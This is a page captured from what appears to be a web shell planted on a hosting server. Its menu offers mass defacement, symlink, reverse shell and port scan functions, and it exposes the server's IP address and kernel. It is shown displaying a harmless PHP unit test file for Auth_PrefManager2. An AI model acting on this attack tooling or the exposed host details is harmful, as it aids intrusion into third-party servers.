ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
php
/
tests
/
Auth_PrefManager2
/
tests
/
Viewing: CreationTests.php
<?php /* vim: set expandtab tabstop=4 shiftwidth=4 foldmethod=marker: */ // +----------------------------------------------------------------------+ // | Copyright (c) 2004 Jon Wood | // +----------------------------------------------------------------------+ // | This source file is subject to version 2.02 of the PHP license, | // | that is bundled with this package in the file LICENSE, and is | // | available at through the world-wide-web at | // | http://www.php.net/license/2_02.txt. | // | If you did not receive a copy of the PHP license and are unable to | // | obtain it through the world-wide-web, please send a note to | // | license@php.net so we can mail you a copy immediately. | // +----------------------------------------------------------------------+ // | Authors: Jon Wood <jon@jellybob.co.uk> | // | Paul M. Jones <pmjones@ciaweb.net> | // +----------------------------------------------------------------------+ // // $Id: CreationTests.php,v 1.2 2004/07/07 16:26:03 jellybob Exp $ /** * Require Auth_PrefManager2 for testing. */ require_once('Auth/PrefManager2.php'); /** * Test cases to ensure that the factory and singleton methods work. * * @author Jon Wood <jon@jellybob.co.uk> * @package Auth_PrefManager2 * @version 0.1.0 */ class CreationTests extends UnitTestCase { /** * Constructor * * @access public * @return void */ function CreationTests() { $this->UnitTestCase(); } /** * Test the factory method. * * @access public * @return void */ function testFactory() { $object =& Auth_PrefManager2::factory("Array"); $this->assertIsA($object, "Auth_PrefManager2_Container_Array"); } /** * Test the factory method. * * @access public * @return void * @todo Switch to using a full container once one is done. */ function testSingleton() { $object =& Auth_PrefManager2::singleton("Array"); $reference =& Auth_PrefManager2::singleton("Array"); $this->assertReference($object, $reference); } } ?>
Coded With 💗 by
0x6ick